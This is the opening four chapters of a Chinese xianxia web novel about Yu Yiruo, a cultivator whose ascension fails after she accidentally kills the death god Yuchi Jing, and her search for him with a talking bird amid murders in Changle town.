《失手伤害反派后》
1. 寻人
“你说什么?”余以若一脸惊颤,“我辛辛苦苦修练了那么久,积攒的那么多功德,就仅仅因为一个人废了?”
面前的纸鸢鸟瑟瑟地点头,明黄的瞳仁闪烁不定,“姑且可以这么说,不过小主你别担心,还有转圜余地。”
“是吗?”余以若嘴角抽了抽。
修仙长路漫漫,她又比不得生来就是仙二代的仙族,鬼才知道,她为了修成仙费了多大功夫,
今日竟然跟她说,她成不了了,还是因为一个被她失手杀了的人。
这下可如何是好,余以若从凳子上站起来,在房间里头四处打转。
作为全村的希望,她的族人还等着她升仙开席呢,这节骨眼上,碰上这么一着,摆明了是故意给她找茬。
余以若咬牙切齿,“什么人呐,见过不要命的,直接送的简直是稀罕物,要不是他死得太快,我都想把他裱起来。”
纸鸢看她绕了一圈又一圈,脑袋都要绕晕了,连连叼起桌上的一封信,塞到她手上,待她接过,纸鸢才开口说道,
“师父说只要你把这个人救活,然后再保证他不死,给他一点补偿就好了,毕竟……”
纸鸢用爪子刨了刨侧旁的木兰花,开口道:“他的阳寿还没有到,就这么白白死了,鬼王那边也不好交代。”
余以若看着被它刨得残缺不堪的木兰,一把抱了过来,呼啦地吹了两口气。
这盆兰花师父宝贝得不得了,还是下山游历的时候,说什么好友送的,但她哪信,
一个素来寡淡,不问世事的人,平白无故对着兰花喃喃自语,其中定是有什么猫腻。
用手扒拉起耷拉下来的叶子,给它渡上几道灵气,才渐渐地好转。
这兰花祖宗要是有个三长两短,她余以若都要吃不了兜着走,稳妥地放好后,瞪了纸鸢一眼,
“你的爪子是锄头吗?镶金边了还是怎么着,这东西你碰得碰不得,就你那小鸟肚,摸得比我还清楚。”
纸鸢‘啾’地叫了声,看起来好不委屈。
毕竟也是跟在师父身边上百年了的,通了灵智,争风吃醋嘛,倒也不怪它。
余以若遂作罢,消了责备它的心思,想起过几日七大姑八大姨就要看她的笑话了,又闷闷不乐起来。
纸鸢作势轻咳了几声,把她安置在旁的信推到她的眼前。
眼底突兀地横过来一只爪子,余以若一怔,就见纸鸢谄媚地笑着,
“小主,这封信你打开看看,说不定有什么额外收获呢。”
“嗯,说的也是。”余以若立马拆开,抽出里面叠得方方正正的白纸,铺平在手上。
站在她面前的纸鸢伸长脑袋,透过纸背打量着里面的内容,
正看得仔细,冷不防“嘭”的一声,余以若把信甩到桌面,梨木圆桌陡然龟裂了几道细小的纹路。
纸鸢惯性地撤后几步,待退到安全距离了,才敢去看她的脸,弱弱地开口,“小主,何事让你这么大动肝火。”
余以若深吸一口气,“你可是不知,那个苏远知道我飞升不了了,连婚约都给我取消了,
还不是他费而巴劲地讨好我娘,把我娘哄得一愣一愣的,这门亲事就这么定下了,
现在好了,我都才刚接到飞升不了的消息,他就来和我退婚,退就退嘛,
还大言不惭说什么是我看不上他,更瞧不起他是个平平无奇的凡人,两人之间鸿沟都快比得上一条银河了,配不上,整得他有多委屈,多遭人稀罕似的。”
“就是,这种人,咱们还不要。”纸鸢为她打抱不平道,“丢到大街上都没人看一眼。”
见她又不说话了,纸鸢轻轻地飞过去,拍了拍她的肩头,安慰道,“你也别太伤心了。”
“嗯,不伤心。”余以若愤然起身朝里屋走去,过了一会儿,背了个包袱出来。
纸鸢一愣,“你这是……要叛师出逃了?”
“神经!”
余以若拎起它的脖子,另一只手捏上那封信,
“我们去找那个碰瓷王,再接着去给那个苏什么远的人个下马威。”
“余以若,你给我松开,要断气了,断气了,快点。”
纸鸢奋力扑腾着翅膀,扇下几根明黄色的羽毛,纸鸢惋惜地看了几眼,立马跟上余以若的步伐。
……
她们扶光宗虽是小门小派,比不得声名赫赫的天玄宗,但胜在有青阳道长坐镇,也就是她的师父,近几年来也愈发地蒸蒸日上,颇有崛起之秀的势头。
只不过经费确实太寒酸,又是位居青鸾峰,地势高峻,骨石耸立,料峭寒凉是出了名的,
于是每当别人提起扶光宗,总要揶揄一番,说什么又光又凉,连年招不到生源。
而余以若便是青阳道长下山云游时,瞧着她根骨奇特,资质极佳,是能造之材,便把她拐到山上来了,成为了他座下寥寥无几的徒弟之一。
掩上门,落好锁,余以若才敢放心地下山。
只因,全山上下,也就只有她一个活人在,那些师兄师姐飞升的飞升,历练的历练,就最小的师妹都下山探亲去了,扶光宗也就剩了她一个守山。
虽说扶光宗穷得叮当响,不担心有人来偷,但以防万一,她还是老老实实地布好结界,而后才敢大跨步地下山。
纸鸢长鸣一声,火速飞到她的肩头站定,“你知道在哪吗?”望着一望无际的山头,它有些摸不着头脑,“我们这样去是不是大海捞针?”
“是嚯。”余以若的脚步猛地刹住,幽幽地看向了纸鸢。
纸鸢还来不及飞走,就被她轻车熟路地抓住了爪子,余以若脸上扬起奉承的笑,
“大鸟呀大鸟,你不是最能识路了吗,找个人不成问题吧,就先从那个碰瓷王找起。”
余以若把纸鸢拽到跟前,大眼瞪小眼,纸鸢一口否决,“耗命的事我不干。”
“大鸟,好鸟,漂亮的鸟”,余以若哀求着。
纸鸢睁着半只眼看她,见她态度着实诚恳,心下有些迟疑,没想到,
下一秒,她换了副面容,阴恻恻地露出右手,慢慢地靠近它引以为傲的羽毛,“啊啊啊,别,我答应你,答应你。”
余以若松口气,把右手老实地放了下来,“早说嘛。”
纸鸢抖了抖身子,又飘下几根毛,它惋惜地看着,又见罪魁祸首好整以暇地命令着它,“快点,把你的能力展示出来,找到那个人。
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”
纸鸢暗暗发誓,定要让这不知天高地厚的丫头尝尝苦头。
冲天的鸢鸣蹿上云天,余以若追着它的影子,快步跟了上去。
她自打记事起就极少下山,倒也不是修练苛刻,扪心自问,她们修仙门派虽说吊儿郎当的,但是人文关怀是实打实的好,更不是传统意义上的隔绝世外。
是以,多半时候,他们还是能下山走亲访友的。
而她因为路痴外加方向感不好,时常迷路,害得她的那些师长不是在找她,就是在找她的路上,最后实在没辙了,把这只叫做纸鸢,长得也像纸鸢的大鸟送给了她。
实在是一块活生生的指南针,只要有余下那人气息的物件,无论是死人还是活人,抑或是神魔鬼怪,大鸟都能找到。
只不过,按理来说,余以若上次失手杀的一个人,此时应该是在阴曹地府啊,再不济也是安葬岗啊,眼前翠绿悠然的小竹林又是怎么回事?
“大鸟,你是不是带错地方了。”余以若一脸诧异地看向落在枝头的黄鸟,“你是不是看岔了。”
纸鸢一听就来气了,虽然它想让她吃苦头,但也不是这么见不得人的手段,登时扑到她跟前,
怒道,“我活了几百年,就没出错过,余以若,你质疑我的毛长得不光亮,你也不能质疑我的能力。”
余以若往前走了几步,看着眼前艳阳普照,正道盎然的样子,愕然道,“死得不够透的鬼才会来这吧。”
纸鸢闻言也歪起脖子看了几眼,有些怀疑地看了看自己的翅膀,喃喃道,“不对啊,他的气息应该就是这里啊,你是不是给错剑了。”
余以若顿下脚步,拔出剑,当日沾染的血迹虽然被擦净了,但是她的剑也就砍过这么一个人,会不会是哪里出错了?
正想着,天穹滚过几声闷雷,裹挟着斜细的雨丝坠了下来,将四下浇灌得愈加昏沉,还有两只落汤鸡。
余以若匆匆忙忙地扎到一棵大树下避雨,抬头看了看天,“我们短时间就别有这么个出去的念头了。”
站在她肩头的纸鸢原本胖乎乎的模样,浇了水,霎时干瘪了下去,看起来滑稽得很,偏生还挺拔地站着,倒也不是别的,只因树上有好几只鸟正往下看。
余以若倒是没瞧出它的奇葩点,而是觉得自己肩头变得愈发重,好似强压着把她摁到地上去一般,就在眨眼间,天色突地又放晴,膝盖一软,余以若直挺挺地跪了下去。
两人俱是一愣,正要起身,纸鸢烘干的羽毛陡然竖起,连忙将余以若连拖带拽地扯到后面的草垛子里。
“怎么……”
纸鸢神情紧张地捂住她的口,摇了摇头,示意她别出声。
余以若登时心慌起来,师父给她的这只大鸟可不仅仅只是指路这么简单,她倒是见过这只鸟的实力,就算几个师兄联手和它打起来,也不是它的对手,现在它抖成这样,前面又发生了什么。
正疑惑间,地上升起几团黑雾,顷刻间炸开,盖了满满一地,落叶适时地开始抖动起来,竟连树上的鸟都扑哧起翅膀飞开,偶有一两只竟朝相反的方向跑去。
随着鸟声嘎然止住,扒开草垛的间隙,余以若看到了一支队伍,还有一个人。
2. 长乐镇
乌泱泱的黑衣人,头戴兜帽,眉宇间不带分毫温度,沿着队伍中心看去,
但见玄衣男子高坐马上,半张脸遮着银制面具,薄唇微抿,目光从容地注视着前方。
余以若收回目光,见躲在她身侧的大鸟仍旧哆哆嗦嗦的,不禁纳闷,不就是鬼王在人间的代理人吗?
怎么怕成这个样子。
正想着,突兀地响起几阵兵刃交接的声音,余以若浑身紧绷,把脑袋伏低了些,以便观望是哪个不要命的,竟然敢劫持鬼王的手下。
罡风骤然轰开,哗啦啦地吹得林叶震颤,余以若死死地攥紧手中的枝桠,一动不动地睁开眼。
不知从哪冒出的几个蒙面人甩出手中的钢鞭,猛地往地上一甩,卷走了打落在地的刀剑,脚下好似抖了三抖,高居马上的玄衣男子坐定,微微扬起下巴,睥睨着马下的人,
淡淡开口,“识相的就给我滚,不识相可别怪我不客气。”
马下的蒙面人并未言语,而是默默地侧过身子,让出了正中间的路,缓缓地走出来一个人。
红袍少年迎风而立,不同于四下一贯的黑压压,此人的出现登时增添了几抹亮色,尤为惹眼的是他的眼,淡漠不带半点温度,姣好的骨相皮相,纵然是枝叶正盛,泻下的流光万丈,也分明被少年的姿颜比了下去。
待看清了他的脸,余以若心下止不住地狂颤,这不就是当日她失手杀死的人,这会儿在这,他是人抑或是鬼?
纸鸢颤动得更厉害了,使劲地扒拉了下余以若的衣角,低声道:“余以若……我们快走。”
余以若全神注意着对面,没有理会它,绕过手,拍了拍它的脑袋以作安慰。
纸鸢忍不住了,要是这人出了什么事,青阳要把它顿成十全大补汤,何况那个红袍少年,它就算没见过,也分明感受得出来,此人不简单,就算是青阳道长来了,也不一定能在他手上讨条活路。
“余以若,快走,那两人你都打不过。”纸鸢压低声音,
在她耳边焦急地劝道,“你再不走,被牵扯下去,保不准小命就没了,余以若,走。”
经过它的一番劝导,眼前的人总算动了动,扭过头来,说的却是,“那个人好像就是上次被我杀了的冤大头。”
余以若一口/交代完,伸出手戳了戳僵硬的纸鸢,纳闷道:“你怎么变成石头了。”
纸鸢颤巍巍地睁开眼,差点尖叫出声,“你说什么!”
“嘘,快过来,我们看看哪方能赢。”余以若也知道自己闯祸了,连忙把纸鸢捞过来,和她一起挤在草垛的缝隙中,静静地打探着不远处的一举一动。
却不知他们后面说了什么,只听高坐马上的人一声冷笑,“狂妄之徒,死不足惜。”旋即翻身下马,踢出剑鞘的剑,直直地朝红袍少年奔了过去。
红袍少年挑了挑眉,也不甘示弱,借力跃起,一脚将飞过身前的人一蹬,而后稳稳落地,反观,玄衣男子狼狈地摔至一旁,滚了通身的泥浆,惨不忍睹。
仅仅眨眼间,就将人撂倒在地,而且,余以若咽了口唾沫,红袍少年手上可是半分武器也无,而玄衣男子手中的玄铁剑,可是上等的极品货色。
玄衣男子身后的手下见状,俯在他耳边不知道说了什么,只听到一个响亮的‘撤’字,便奋不顾身地跑了,连带着地上漫开的黑气也渐渐地消散得一干二净。
红袍少年好整以暇地看着,勾了勾手指,身后人递来一封信件,通篇看完,
甩手一扔,泛黄的纸边霎时燎起一簇极为渺小的赤色火苗,三下五除二便将纸张吞噬殆尽。
纸鸢看着看着,明黄的瞳仁覆上了复杂的神色,缓缓道:“无命冥火,是死神。”
“死神?”余以若手上一紧,‘咔擦’一声,手中的枝干裂成两段。
“谁?”红袍少年身后的蒙面人上前一步,提起剑,眉目狠辣地凝向草垛。
周遭静得落针可闻,余以若和纸鸢的两颗心跳得扑通扑通响。
新晋死神尉迟景,谁人不知谁人不晓,修仙之人的噩梦,手刃生父生母,刀下亡魂数不胜数,为达目的不择手段,
正因他杀戮太重,就算升格成神,也无资格高居上界,只能在凡间苟延残喘。
余以若暗暗地唾骂了千遍万遍,自己当时怎么就失手杀了他呢,不过,他升格为神,不是杀不死的吗?
正想着,远处又传来一声,“草垛后面的人,出来!”
余以若心道,这下好了,原本的飞升吃席,倒变成丢命开席,七大姑八大姨也不用请退了。
就在一人一鸟绝望透顶,脚步声渐渐逼近的时候,尉迟景开口道,“回来吧,两只老鼠而已。”
蒙面人愣了下,有些不确定,“就这样放过她们?”
尉迟景看向他。
蒙面人脊背生寒,点头如捣蒜般应道,“是,大人。”
等脚步声早已听不见时,余以若才敢松口气,展开手心,捻起被汗浸得湿透的木头棍子,掰碎几段,
道:“这下可如何是好了,把他给捅了一刀。”
纸鸢不想说话,大步往前走去,它真是想不通,它一身才干,
青阳怎么就把自己甩给了这么个小丫头,脾气又没小师妹好,资质也没大师兄好,还整日指挥它干这干哪。
就算炖成十全大补汤,也比被人掏了心窝子强。
余以若见它奋不顾身地飞开,连连追了上去,边跑边喊,“大鸟,你别走啊,不是你说的有转圜余地的吗?”
“转圜余地是这么转?我碰见过运气不好的,像你这种,一上来就惹到王炸的,说是人中龙凤都不为过。”
“大鸟,你可别忘了师父是怎么和你说的,你若是走了,我让师父把你炖了。”余以若气喘吁吁地道。
见它头也不回就飞走了,抓起地上的落叶就甩了出去,风一吹,糊了她一脸,余以若‘呸呸呸’地吐掉落在嘴里的泥沙,
愤愤道:“还什么神鸟,胆小鬼,不就是个死神吗?说来说去不也是人,就比我术法高点,地位也高点,还有……”
总而言之,她是打不过的,不仅打不过,连近身的机会都没有,况且就算近得了身,把他的阳寿补回来,也得他同意自己带他去鬼王那里一趟。
更有传闻,尉迟景和下界的鬼王水火不容,当初尉迟景即将飞升成神,
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就是鬼王横插了一脚,活生生地把正道的光变成了地狱的邪魔。
风还是在吹着,吹得林间哗啦作响,余以若一拍脑袋,
鬼王的手下承祁出现在这,不就是说明附近有死人,而尉迟景刚才又和他大打了一架,势必会在死人堆里等他。
想到这,余以若心情一下子欢快起来,连忙跑出林子,向四周的农户打听,打听来打听去,总算收到了一个消息,
那就是长乐镇,最近不知怎么的,接连死人,而且死状极惨,惨到农户向她提起的时候,都连连摇头,表示怕自己讲了晚上做噩梦。
余以若也怕,但比起升仙来,都是小事,于是她壮着胆子迈入了长乐镇的地界。
甫一踏入,扑面而来的血腥气就把她熏得晕头转向的。
她心想,找对了。
死的人少,承祁看都不会看一眼,而死的人多,他准会亲自过来,细细指点几番。
偶尔有两个好心人见了,总要开口关心一下,“姑娘,可是一个人来,近来我们长乐镇接连出事,你还是小心为上。”
“好的,多谢大娘,就是我想问问,这里的乱葬岗在哪。”
妇人也没想到她会这样问,大抵娇娇弱弱的姑娘是不会对那等脏地方感兴趣的,是以,多问了句,“姑娘去哪是干什么?”
“我的朋友的朋友不小心丧命了,托我给他敛个尸。”说带此处,余以若还装模作样地揩了下眼角。
“姑娘莫要伤心,人走了就走了,你既是这般重情重义之人,我便告诉你,你瞧。”大娘伸手指去,
“在那边,一直往西走就可以了,不过啊。”
抬头看了看天,
“日头要落下了,姑娘找个客栈歇下,明日再去也不迟。”
余以若谢过她,抬脚就打算走,大娘见她单薄瘦小,又跟上她的脚步多叮嘱了几句,
“姑娘,你敛完尸就抓紧离开吧,近日也不知道是触犯什么了,我们长乐镇接连有人丧命,而且啊,”
说到此处,大娘四下打转了圈,刻意把声音压得很低,
“不是被剖了心,就是被断了四肢,在死之前,门上都留着一个血印子。”
“血印子?”
“嗯。”大娘点头,“我不能多说了,姑娘,小心些行事。”说完,就离去了。
余以若怔怔地想着,难道死神尉迟景又大开杀戒了?不对,说不定是妖族作乱,抑或是魔族不安分了。但无论如何,起码不会沾惹到她头上吧。
她就这么安心地边走边想,寻个客栈,住了进去,瞧见桌上的水,顺手给自己倒了一杯。
正凑到嘴边,‘哐当’一声,不知哪里射来的石子,手腕吃痛,瓷杯登时四分五裂。
“谁?”余以若拔出剑,对准窗口,只有窗户没关,石子十有八九就是从外面射来的。
脚尖点在地上,挪得很轻,余以若浑身上下,绷得很紧,平时有大鸟在身边,面对歹徒她可是嚣张得很,现在她一人,且又因飞升失败,灵脉受损,和一个手无缚鸡之力的凡人是半点区别也没。
正想着,身后猛地被人一拍。
“是你?”
3. 酒楼
“你怎么回来了?”余以若瞧着纸鸢从窗户口飞回来,一脸惊讶。
要知道纸鸢它向来说一不二,上次她不小心踩秃了它的尾巴,还是师父千哄万哄,把鸟给哄回来的。
纸鸢抖擞了下身子,傲气地甩下几根羽毛,飘飘荡荡地落到余以若的身上,微微抬头说道:“我回去的路上碰到了你娘,你娘让我给你带个话。”
“我娘?她说了什么?”余以若拍开身上的毛,弯下腰去捡地上碎裂的瓷片,不解道:“这和我喝水有什么关系。”
纸鸢迈开爪子,往前走了几步,将四下环视几圈,“你一个人走到这里的?还没迷路?”
“是啊,一个一个问得我口干舌燥,好不容易找口水喝,倒活生生被你打断。”
余以若收拾好瓷片,去倒了杯水,还没到凑到嘴边,冷不防纸鸢一个猛冲,又被它撂翻在地。
余以若逮住它的翅膀,堆着笑,“你是鸟头抽了,还是火气还没发够。”
“余以若,你大大地冤枉我了,这里的水喝不得!”
余以若手一松,纸鸢立马跳到边上,静静地看着她打量着壶里的水,
开口道:“最近这里出事了,这里的水不能喝,要不然我回来找你干什么,我吃饱了撑的。”
见她不说话,想是口渴得不行了,纸鸢语气软下来,“我刚才去转悠了几圈,发现隔壁有桩酒家东西干净,我们去那里吧。”
“好。”余以若收拾完地上的残片,转头拿起自己的剑,开口道:“我又饿又渴,去酒家就快走吧。”
纸鸢落到她肩头,待她关上房门,才开始缓缓地交代:“你娘说,她已经知道你飞升不了的事情,那些七大姑八大姨都被她以各种理由请回去了。”
它一边给余以若指路,一边再絮絮叨叨地讲:“是苏远那家伙告诉你娘的,不过三日,他就发了喜帖送到余府,为的是……”
说到这里,纸鸢悄悄地去看了下余以若的表情。
毕竟就算再怎么样,余以若对苏远这个不是竹马胜似竹马的少年,还是存了几分好感的,现在他就这么无故地退婚,还把她描述成多么眼高于顶,看不上凡人的丫头片子,是个人心里都不好过吧。
反正纸鸢是这么想的,但它左看右看,愣是没在她脸上看到半分难过,反而是如释重负的解脱?不禁开口,“你……不伤心?”
“有什么好伤心的,就这点事?不用想也知道苏远和我退婚是为了迎娶他的表妹,那个温温柔柔的小姑娘,
我见过几次,生得很是可人,而且家世也不错,他们两个也倒是般配。”余以若坦然道,“你说的酒家是那家?”
纸鸢沿着她的手望去,点头道:“是啊。”
房檐下的牌匾耷拉下一角,门半开半阖,边边角角缠满了蛛网,被两只打着旋的灯笼照得惊悚恫人,走过路过的人恨不得避得远远的,和侧旁装饰华贵典雅的酒楼简直就是一个天一个地。
兴许是知晓生意不好,门口还有一个剔着牙的中年男子,皮肤黝黑粗犷,时不时吆喝下嗓子揽客,却散淡地躺在藤椅上,有一搭没一搭地摇着手中的蒲扇。
见远处的绿衣姑娘走来,先是不确定地偏头,余光止不住地偷偷注视,待人走到跟前,向他问了声:“店家,可有什么吃食,我们来吃个饭。”
才敢迅速腾起来,顾不得趿鞋,奔到余以若的跟前,热络牵起她的手,
“有有有,自然是有的,姑娘,想吃什么随便点,我们这里的吃食虽然比不得旁边的酒家,但胜在干净。”
“好,就一碗汤面吧,辣椒一点,清淡点。”余以若抗拒地抽回手,轻声在纸鸢边上嘀咕,“你确定不是把我拉狼窝来了?你管这叫干净。”
站在肩头的大鸟挺起胸脯拍了拍,道:“你放心,我不骗你,这里面的东西保管干净。”
就着阴暗的火光,余以若挑了个看起来过得去的桌子,甫一坐下,陈年老灰裹上风猛地糊了她一脸。
纸鸢看着她碰了满脸的灰,躲在墙角‘咯咯咯’地笑,余以若不得不怀疑,这货根本就是故意的,借机报复她,她也真是信了它的鬼话了,脑子一热就进来。
端着热汤面的男子刚掀去帘子出来,就见余以若往门口走,立马放下汤面,跑到她边上把她拉回来,
“姑娘,真是委屈您了,是我思虑不周,那边的桌子太久没打理了,若是姑娘不介意,就来里屋吧,只不过……”
又悄咪咪地补充了句,语气带着雀跃,“里头啊,有一位仙长,看样子是天玄宗的,东州大陆的第一修仙门派。”
说着他还得意地扬了扬眉,好像那个仙长是他一样,余以若是没什么兴趣,倒是纸鸢要见到同修兴奋得不得了,没等余以若开口,它‘啾’了声,一口应下,“好好好,就去里屋。”
余以若不搭理它,扭头就走,大鸟劝不回来,一气之下,把它的杀手锏拿了出来,
“你娘的话我还有一半没有告诉你,你乖乖进去,我就告诉你。”
“好,你最好把所有的话老实交代,否则,你的尾巴保不准又要秃一次。”
一提起这个,纸鸢尾巴就跟被火燎过般火辣辣地烫,它咬咬牙,立刻将余夫人的话一字不漏地交代清楚,
“你娘说你的小妹下个月生辰宴,你若是得空就去看看,你的小妹很久都没有见你了,怪想你的。”
她的小妹?说来她确实很久没见到她,不过她下山下得不勤,小妹年纪又小,只怕等她回去早把她抛到脑后了。
余以若就这么想着,一脚踏进了里屋。
里屋看起来也没什么奇特,和外头一致的木头桌子,不过倒是比外面干净整洁,但也只是一些而已。
逡巡一圈,就注意到了坐在正中的白衣仙长,看身形约莫是个男子。
可店家却好似很乐意做这个牵线人似的,她正要开口拒绝,店家就把人摁到条凳上去了。
面前正吃着面条的人好像被吓了一跳,抬起头来不确定地往对面看去,余以若被他看得发毛,低下头去不言语。
“姑娘可是扶光宗的人?”
“啊?”余以若咽下面条,点头道:“是。”
说完又是埋头吃面,壁上的火苗燃得哔剥作响,纸鸢嗞溜地啄着自己碗里的面条,汤汁溅了余以若半张脸,看着它吃没吃相,站没站相,余以若微微叹息。
“姑娘的这只可是
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五采鸾鸟?”白衣男子淡淡开口。
纸鸢一怔,余以若也是一怔,为了让这只胖鸟看起来更普通,更便携些,她师父特地给纸鸢下了道禁制,除非师父出手,谁都解不开,他是怎么看出来的?
正想着,门‘嘭’的一声被撞开,店家跌跌撞撞跑进来。
白衣仙长赶忙将他扶住,问道:“可是发生了什么事?”
“外面……外面……被留了道血印子,我的孩儿还在楼上,客官你们自便吧,我上有老下有小。”男子哆哆嗦嗦地说着,看样子是被吓得不轻,连钱都不收了,径直上屋收拾东西。
不一会儿,男子怀里抱着个粉衣小娃娃‘蹬蹬蹬’地从楼上下来,白衣男子上前拽住他的胳膊,问道:“是又有人无端死了?”
“没有,再不走就要死了,你们不信大可以去门口看看。”男子说完这句话就去安慰怀里哭得哇哇大叫的孩子,边哄边跑,连鞋掉了都没去捡。
屋内静得可怕,屋外渐渐嘈杂起来。
连白衣男子都出去了,死般的寂静更添几分,纸鸢跳上余以若的肩头,道:“你不走是打算给别人加餐吗?正好你刚吃了一顿,一餐顶两。”
余以若满脸无言地瞥了它一眼,拾起剑奔到屋外。
因着是晚上,余以若刚下来的时候分明是冷冷清清的,可现在街道上人头翻涌,挤得竟连门都推不开,颇费了几番气力,又被人流裹挟着上了街。
借着人与人之间的空档,余以若算是看清了他们口中的血印子。
偌大的一个骷髅头阴森森地印在墙壁上,门上,以及连牛背上都有,艳红却又阴冷,瞧着倒像是死神一贯的做派,但这般光明正大地在人间闹事,有脑子的都不会这样吧。
正不解间,人群中陡然响起几声尖叫,随着尖叫声愈攒愈大,余以若一个没注意被人挤了出去,就这么孤零零地被人推到岔道口的滑坡上。
被颇大的力道一带,脚下没站稳,闷头倒在地上,骨碌碌地滚上老长一段距离,撞到石头才堪堪停下来。
余以若吃痛地抬起脑袋,唤了几声纸鸢,没鸟应,果真是和它走散了,更甚者,她好像来到了不该来的地方。
房屋错落有致地排列在道旁,四周只余天上的几点月色,静悄悄得骇人,偶尔有三两只不知名的鸟飞过,料峭阴寒慢慢镀上少女的脸庞。
余以若捏上一把汗,支起身子往四下挪了挪,待脊背靠到假山,才渐渐地吐出一口浊气。
以她多年来从师父那听到的传奇故事来看,此地不是机遇就是凶手的老穴,又或者是藏尸堆,想起这个,余以若臂上就密密麻麻地掀起鸡皮疙瘩。
大鸟可是她的保命符,鸟跑了,就剩她,就算十个这样的她也不是他们的对手,毕竟灵脉受损可不是闹着玩的,若不能及时修补,别说飞升了,后半辈子有没有机缘继续修道都是个问题。
可就在这时,一束流光伴着尖叫蹿上如墨的天穹,顷刻间,火光炸响,满满白光猛然将天穹罩住,
星光陨落之际,有一抹刺眼的红直挺挺地跃上屋檐尽头。
瑰艳诡谲,灼灼华光,红袍锦衣撞风而飞,身形修长如青松,不是死神尉迟景又是谁?
4. 袁家
是他?余以若躲在石头后面,怔怔地看着,连呼吸都竭力克制。
但见又一黑衣人跃上去,跑至尉迟景的身边,悄声说了些什么,待余以若再次睁眼时,两人都已不见。
死神尉迟景同承祁争夺死人魂灵,必然是会在此大打出手。
月亮悄悄隐入黑云背后,余以若点起照明符,支起身子往外头走,刚转过石壁,迎面刺来几道寒芒,一个急转身,芒光扎入石壁,轰开几阵粉尘。
还未等她看清来者是何人,略带嘲讽的声音突兀地横在前方,“一个废物,也有胆量来杀我,勇气可嘉啊。”
“大人,没错,杀你的人就是她。”
月光渐渐冲破雾霭,淡淡地倾泻而下,柔和冷峭的光漫上红袍少年的脸,懒洋洋地看着瑟缩在旁的少女,眼里满是不加掩饰的戏谑。
“扶光宗的人?”少年的目光落至她身侧的配剑上,讥诮开口,
“难怪,我还以为这群修仙的老古董折腾出了什么惊世骇俗的玩意来杀我,竟是一把破剑,还真是难为你了。”
说罢,身侧的黑衣人就递上一把剑,尉迟景眼皮也不抬一下,就将剑架在了余以若的脖子上,面无表情道,“飞升失败了?”
尉迟景自幼便是修仙界的天之骄子,十几岁的年纪便再无敌手,能看出她的境况来,也不足为奇,余以若没有回答,尉迟景继续道,“那就更留不得了。”
“我当日并非有意杀你,实属无心之举。”余以若拔出腰间的剑,镇定道:“你若是杀我,我师父定然不会轻饶你。”
“轻饶?”尉迟景像是听到了什么笑话般,轻笑几声,调转手中的剑,毫不犹豫扎入她的心口,冷冷道,“大言不惭。”
旋即收回剑,丢到黑衣人的手中,往暗处一跃,飞走了。
……
大鸟找到余以若是在石头缝里,少女一动不动地靠着,它一眼就看见了,心里头猛地一抽,奋不顾身奔了过去,
边哭边嚎,“余以若,你怎么死了,我不要变成十全大补汤。”
身后的白衣仙长顿下脚步,不由地生出几股悲凉的神色。
“你上次踩我尾巴,其实是我故意的,因为我不喜欢你,可是现在,你死了……哇……”大鸟抹着眼泪,把它坑害余以若的事情全都交代了个遍,等说到没话头说时,头顶上传来几声冷笑。
大鸟陡然僵住,不确定地抬了抬头,下一秒,它的脖子就被人拽住了,
余以若睁开眼,一脸兴师问罪地看着它,咬牙道,“原来一切都是你的计谋,很好啊,连我都被蒙在鼓里。”
“余以若……你没死?”大鸟哽咽道。
“怎么?你很希望我死?”余以若反问,又见后面的白衣男子一脸殷切地看着自己,不禁开口,“你是?”
“余同修,在下天玄宗亲传弟子鹤览川。”白衣男子行礼道,“我们见过的。”
“鹤同修。”余以若回礼。
鹤览川这个名字,她倒是熟悉,掌门人唯一的亲传弟子,也就是天玄宗的接班人,年纪轻轻就已飞升成仙,难怪可以看出纸鸢的真身,只不过他却甘愿居于天玄宗,为宗门招贤纳士,是以,此人也算宗门的大半个功臣。
“余同修怎会下山来长乐镇。”鹤览川递给余以若一颗灵丹,“近来此地暴乱横生,余同修还是尽早离开。”
余以若咽下灵丹,身上的伤已好了七七八八,跟上他的脚步,道:“此次前来只是因着我的大鸟要下山历练。”
纸鸢一听,怎么好端端地扯它头上了,正要争辩几句,反倒被她一手抓住嘴,自动闭麦。
“五采鸾鸟?”鹤览川看了看她肩头的鸟,又看了看她的配剑,若有所思地道,“青羽剑,余同修将几大宝物都集齐在身了,难怪遭人惦记。”
鹤览川不知事情的起因经过,也不知余以若要飞升成仙,毕竟近些年来,灵脉很盛,飞升的人多,也不是什么稀奇事,但他这话什么意思,青羽剑?
余以若记得,当初就是用这把剑杀的尉迟景,按理来说尉迟景升格成神,早已是不死之身,但当日她分明记得,尉迟景被她的剑捅了后,直挺挺地倒了下去,连鼻息都没了。
“余同修难道不知,青鸾峰两大宝物,青羽剑和鸾鸟,余同修可是两样都占了。”鹤览川慢慢地补充道。
正说着,肩头上的大鸟一个高呼,“到了!”
袁家是长乐镇的城主,把守森严,算是十分安全,而鹤览川几人在接收到师父的命令下山后,便暂住在袁家,袁家很是好客,特别是对于仙长,更是恭敬得很。
见到余以若也没有表现出半点不乐意,反而堆叠着笑,把余以若接进去,给她腾出几间房,又忙前忙后的,好不热情。
反倒让余以若想起了自己的师父,她的师父在三年前说下山游历,直到至今还未曾回来,说好的定会回来为她飞升护法,
可她左等右等,等得扶光宗下了一场又一场的雪,兰花开了又落,落了又开,他都没回来,倒也不知是发生了什么。
纸鸢瞧出了她的不自在,跳到她跟前,“刚才袁家的老爷叫我们过去吃饭,听闻天玄宗的那位霞姿月韵的师姐也在。”
“师姐?”余以若站起身,随着纸鸢往外头走,昨天被死神捅了一刀后,趁机睡上了一觉,没有十分困倦,精神头抖擞抖擞就起来了,问道,“就是那个程师姐?”
纸鸢正要答,侧旁的人就走了过来,一见余以若就好似把她认出来了,牵起她的手,把她往屋子里带,“你就是扶光宗的余同修吧,饭菜布好了,快随我来。”
“你是程师姐?”
女子朝她盈盈笑道,“正是。”
余以若大为惊讶,原本她只是猜一猜,没想到真给她猜中了,若说天玄宗有两张底牌,鹤览川就是其中的一张,另一张就是这位出水芙蓉的程舟怡师姐。
人不仅长得美,剑法也是超群的,每每宗门大比的时候不是居第一就是居第二,这两张底牌都来这,究竟是为何,长乐镇果真有什么棘手的事情吗?
正想着,余以若早被她牵到了饭桌上坐下,待吃完了饭,又跟着他们去了雅间。
“余同修,真是好巧,没想到你也来了。”程舟怡递给她一杯水,“只不过我听闻青阳道长在闭关,余同修就这么跑出来,不怕道长责罚吗?”
余以若抿了口茶,对外声称她师父是闭关,可只有门内人清楚,青阳道长可以说是失踪了三年,
咽下喉头甘冽的茶水,道,“师父对我们一向放得很开,而且师父在闭关前说了,让我们下山多历练,尽早飞升。”
程舟怡赞同颔首,“青阳长老可真是思虑长远。”
“师父确实劳心劳力。”余以若道:“不过,程师姐,你们来这里又是所为何事?”
